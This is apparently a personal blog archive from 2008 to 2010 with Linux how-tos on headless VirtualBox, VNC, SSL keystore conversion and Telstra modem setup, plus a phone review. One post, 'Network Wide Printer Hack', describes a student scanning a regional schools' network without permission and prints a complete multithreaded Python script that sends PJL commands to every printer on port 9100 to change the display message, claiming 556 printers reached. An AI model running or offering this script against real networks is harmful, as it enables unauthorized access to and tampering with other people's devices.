Archive for the ‘Uncategorized’ Category

Virtualbox on Headless Server

Saturday, January 9th, 2010

It is much easier to set up and edit VirtualBox machines on the GUI app than with the VBoxManage command but on a headless server without a screen it is impossible to run the VirtualBox gui. VBoxWeb is a web interface to virtualbox but it cant create or edit virtual machines yet. Using my previous post about getting a remote X display on a headless server it is possible to get the GUI running in a web browser in the java vnc viewer.

After installing the remote GUI and logging into it you can open xterm by right clicking on the desktop. In xterm just run ‘VirtualBox’ and you will be able to access the full GUI and create or edit machines.

Note: You cant start the virtual machines in headless mode from the GUI. I use the VBoxWeb interface to start and stop the machines and then view them over RDP.

VirtualBox in Java VNC Viewer

VirtualBox in Java VNC Viewer

Remote X applications on Headless Ubuntu Server

Saturday, January 9th, 2010
Virtual Display in Java VNC Viewer

Virtual Display in Java VNC Viewer

This is a small solution to running GUI apps that require X on a headless server without installing a full blown desktop environment or needing a graphics card for display.

After searching for different solutions to get a remote X display i found a way that will do it with very little overhead and works nicely. By starting a virtual X frame buffer on display :1 any apps requiring X can be started on it without the need for any graphics card or a full X11 install.

A VNC server such as x11vnc can be used to access the virtual X display on a remote system and the vnc-java package can allow you to connect to it and use the apps in a web browser.

Heres what needs to be done:

Install the packages required

$ sudo apt-get install xvfb x11vnc vnc-java blackbox xterm

Start Xvfb to create a 800*600 display on :1

$ Xvfb :1 -screen 0 800×600x16 -ac &

Start blackbox window manager on the display

$ DISPLAY=:1 blackbox &

Create a password file for x11vnc

$ x11vnc -storepasswd

Start x11vnc using display :1

$ x11vnc -display :1 -usepw &

OR

Start x11vnc with the java web viewer so you can access it in a web browser and without needing a VNC client

$ x11vnc -display :1 -httpdir /usr/share/vnc-java -httpport 5800 -usepw -forever &

This can also be run with the -ssl and -https tags to get ssl encryption support

You should be able to access the server now on port 5800 in a web browser like:

http://server:5800/

Log in with the password created earlier. To run a app in the new display right click and select xterm to bring up a terminal. The GUI apps can then be started from the terminal and can be controlled in any VNC Client

It can also be started in startup scripts at bootup if you want the remote X display to start accross reboots.

Google Wave Invites

Monday, November 2nd, 2009

Ive got a few google wave invites to give away. Rather than just giving them to the first few people that ask i wanted to do something more interisting.

Answer these questions and tell my why you should get an invite and ill send an invite to the best most creative/interesting responses. Remember to include your email address so i can send the invite.

  1. What do you think of Google?
  2. What is your favourite Google product and why?
  3. What operating system do you use and why?
  4. Apple?
  5. How long have you used Google for?
  6. What will you do with your Google Wave account?
  7. How much do you want Google Wave?
  8. Microsoft is the root of all evil?
  9. Why should i send you one of the invites?

BE CREATIVE :)

Convert Private Key and Certificate for Adito SSL VPN

Monday, November 2nd, 2009

I bought a SSL certificate for my server running at home for https connections. The certificate worked great in Apache and Webmin admin console but when i tried to import it into Adito SSL VPN i found there was no way to import a certificate and key from the standard PEM format used by Apache. Adito is a great VPN service but its based on java and it only works with keys and certificates in a java key store file. This caused a problem for me because my key which the certificate was signed with was in PEM format. After much searching i found a way to put a standard private key and certificate into a JKS file which java can read and use for SSL at http://www.agentbob.info/agentbob/79-AB.html heres what has to be done.

Convert the key and certificate to DER format with openssl

openssl pkcs8 -topk8 -nocrypt -in server.key -inform PEM -out key.der -outform DER openssl x509 -in server.cert -inform PEM -out cert.der -outform DER

Get the java program from here for java 1.5 and then run it on the files

matthew@server.matt-barrett.com:~$ java ImportKey key.der cert.der Using keystore-file : /home/matthew/keystore.ImportKey One certificate, no chain. Key and certificate stored. Alias:importkey  Password:importkey

You will then have the file keystore.ImportKey which can be imported into Adito

Network Wide Printer Hack

Tuesday, September 22nd, 2009

The screen of a hacked printerFor the end of year 12 I decided to write the ultimate printer hack after finding that all the schools in the region are on the same network and the subnets are routed together. Some idiot controlling the network between schools in the region routed all 255 subnets together allowing me to access the network of any school I want.

After doing some research about the HP Printer Job Language (PJL) I wrote this script to hack every printer within a ip range of 10.42.*.* in less than 2 minutes. It runs 255 threads at a time getting all the printers in the subnet in less than 1 second while keeping a count of how may printers it was able to connect to. In the regions network i was able to hack 556 printers and give them my message.

Would love to see improved versions or hear how you may modify the script

The script is a pretty quick hack but it works and gets the job done fast.

import os import re import time import sys import socket from threading import Thread PORT=9100 hackcount=0 #Startup stuff print "----- ULTIMATE PRINTER HACK -----" print print "will print a message and display it on the screen of every printer in a subnet" print print start=raw_input("First half of ip range for scanning [10.42]: ") if start=="":     start="10.42" try:     startnet=input("Starting subnet (" + start + ".X.*) [0]: ") except:     startnet=0 try:     endnet=input("Finishing subnet (" + start + ".X.*) [255]: ")+1 except:     endnet=256 #####Our Awesome Message to be displayed and the screen hack code message="Year 12 2009!!!   =)" hack='\x1B%-12345X@PJL RDYMSG DISPLAY = \"' + message + '\"\r\n\x1B%-12345X\r\n' #Threading Class, crazy stuff class hackit(Thread):    def __init__ (self,ip):       Thread.__init__(self)       self.ip = ip       self.status = "wtf"       self.hacked = 0    def run(self):     try:         self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         self.s.settimeout(.05)         self.s.connect((self.ip, PORT))         self.s.send(hack)         #self.s.send(message)         self.s.close()         self.status = self.ip + ':\t' + 'DONE'         self.hacked = 1     except socket.error as msg:         self.status = self.ip + ':\t\t' + str(msg) #record the time we started to remember starttime = time.ctime() #scan through the subnets and send our message to all that let me in for subnet in range (startnet, endnet):     pinglist = []     for host in range(256):         ip = start + "." + str(subnet) + "." + str(host)         current = hackit(ip)         pinglist.append(current)         current.start()     for pingle in pinglist:         pingle.join()         if pingle.hacked:             hackcount+=1         #print pingle.status     print "Subnet " + ip + " complete. " + str(hackcount) + " printers hacked." #just tell the master how everything went and say im finished print print "Start:\t\t" + starttime print "Finished:\t" + time.ctime() print print "Master, I am finished, I hacked " + str(hackcount) + " printers =)"

Anyone got pics or comments about the result of the hack at their school would be awesome.

New Phone, t-mobile G1

Monday, August 3rd, 2009

tmobile_g1Got my new phone a few weeks ago. LOVE IT! The android OS is by far the best mobile phone operating system I’ve used and even beats the iPhone. After using the phone for the last 2 weeks I’ve had no problems yet and found everything just works. There is a free app for almost everything in the android market and for the other things the paid apps have been high quality.

So far the phone has worked well with my Telstra sim card although I haven’t been able to get 3G working yet (might be my sim card doesn’t support 3G). The MMS settings took a while to get working, it seems you must restart the phone after changing the MMS settings before they will activate. The MMS settings i used are listed here on whirlpool.

The multitasking on the phone is perfect. Without multitasking its hard to call something a smart phone in my opinion. Its one of the features that makes this phone so much better than the iPhone.

The other feature that makes the G1 better than the iPhone or other Android phones available is the qwerty keypad. A real solid keyboard that i can touch is something that i must have.

Anyway that’s about it for the phone. Also if anyone here in Australia is looking to buy the G1 really cheap (AU$425) ask me and ill give you the contact details for the guy who i bought the phone off because he has more available.

Send/Recieve SMS on Telstra MF 626 prepaid modem with Ubuntu

Sunday, December 7th, 2008

Before you can do this you should have disabled the ISO mode on the modem from the instructions here.

You can send and receive SMS using the modem that comes with Telstra prepaid mobile broadband by using a program called Phone Manager which can be installed in gnome. You can install it with

sudo apt-get install gnome-phone-manager

Once it is installed you can

n access it in Applications > System Tools > Phone Manager.

Open phone manager and its icon will appear in the notification area. Right click on the icon and go to preferences.

When you are in preferences, click on the connection tab.

Select the phone connection as ‘Other Port’ and enter the port as the port that your modem is using. It is probably ‘/dev/ttyUSB3′ but could be something else. You can use ‘ls /dev |grep ttyUSB’ to help you find the correct port. It will usually be the last one that is listed from the command.

Close the preferences window. You will now be able to send and receive SMS messages using your mobile broadband modem.

Telstra Pre-Paid Wireless Broadband – Ubuntu

Thursday, November 20th, 2008
Gnome-PPP Connection Details

Gnome-PPP Connection Details

I bought one of these today with the MF 626 USB modem and after a few hours of trying different things got it working sufficiently on Ubuntu 8.10

Here is how to get it working:

  1. When you first plug the modem into a Windows computer it will install the drivers and the user interface. The Telstra Connection Manager will automatically launch.
  2. Close the Telstra Connection Manager. Using the device manager find the com port of the modem. Open Hyperterminal and connect to the modem with these settings:
    Hyperterminal Configuration Settings
    115200 – Bits per second
    8 – Data bits
    None – Parity
    1 – Stop bits
    None – Flow Control
  3. Send these commands to the modem by copying them and then in Hyperterminal right click and paste.
    AT+ZOPRT=5 AT+ZCDRUN=8
  4. On Ubuntu install gnome-ppp for connecting to the modem.
    sudo apt-get install gnome-ppp
  5. Open the gnome-ppp config file
    gedit ~/.wvdial.conf

    and paste the following code into it.

    [Dialer Defaults] Modem = /dev/ttyUSB3 ISDN = off Modem Type = USB Modem Baud = 7200000 Init = ATZ Init2 = Init3 = Init4 = Init5 = Init6 = Init7 = Init8 = Init9 = Phone = *99# Phone1 = Phone2 = Phone3 = Phone4 = Dial Prefix = Dial Attempts = 1 Dial Command = ATM1L3DT Ask Password = off Password = off Username = na Auto Reconnect = off Abort on Busy = off Carrier Check = off Check Def Route = off Abort on No Dialtone = off Stupid Mode = on Idle Seconds = 0 Auto DNS = on ;Minimize = off ;Dock = on ;Do NOT edit this file by hand!

    You may need to change the number at the end of the second line depending on your setup. If you cant connect to the modem restart and run

    ls /dev |grep ttyUSB

    It will be the last device that gets listed.

  6. Save and close gedit
  7. Open /etc/init.d/rc.local in gedit
    sudo gedit /etc/init.d/rc.local

    and add these lines

    modprobe -r usbserial modprobe usbserial vendor=0x19d2 product=0x0031

    Save and close

  8. Restart with modem unplugged and plug modem in after starting.
  9. Open Gnome-PPP and click connect. You should now be online.

Hello world!

Tuesday, November 18th, 2008

Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!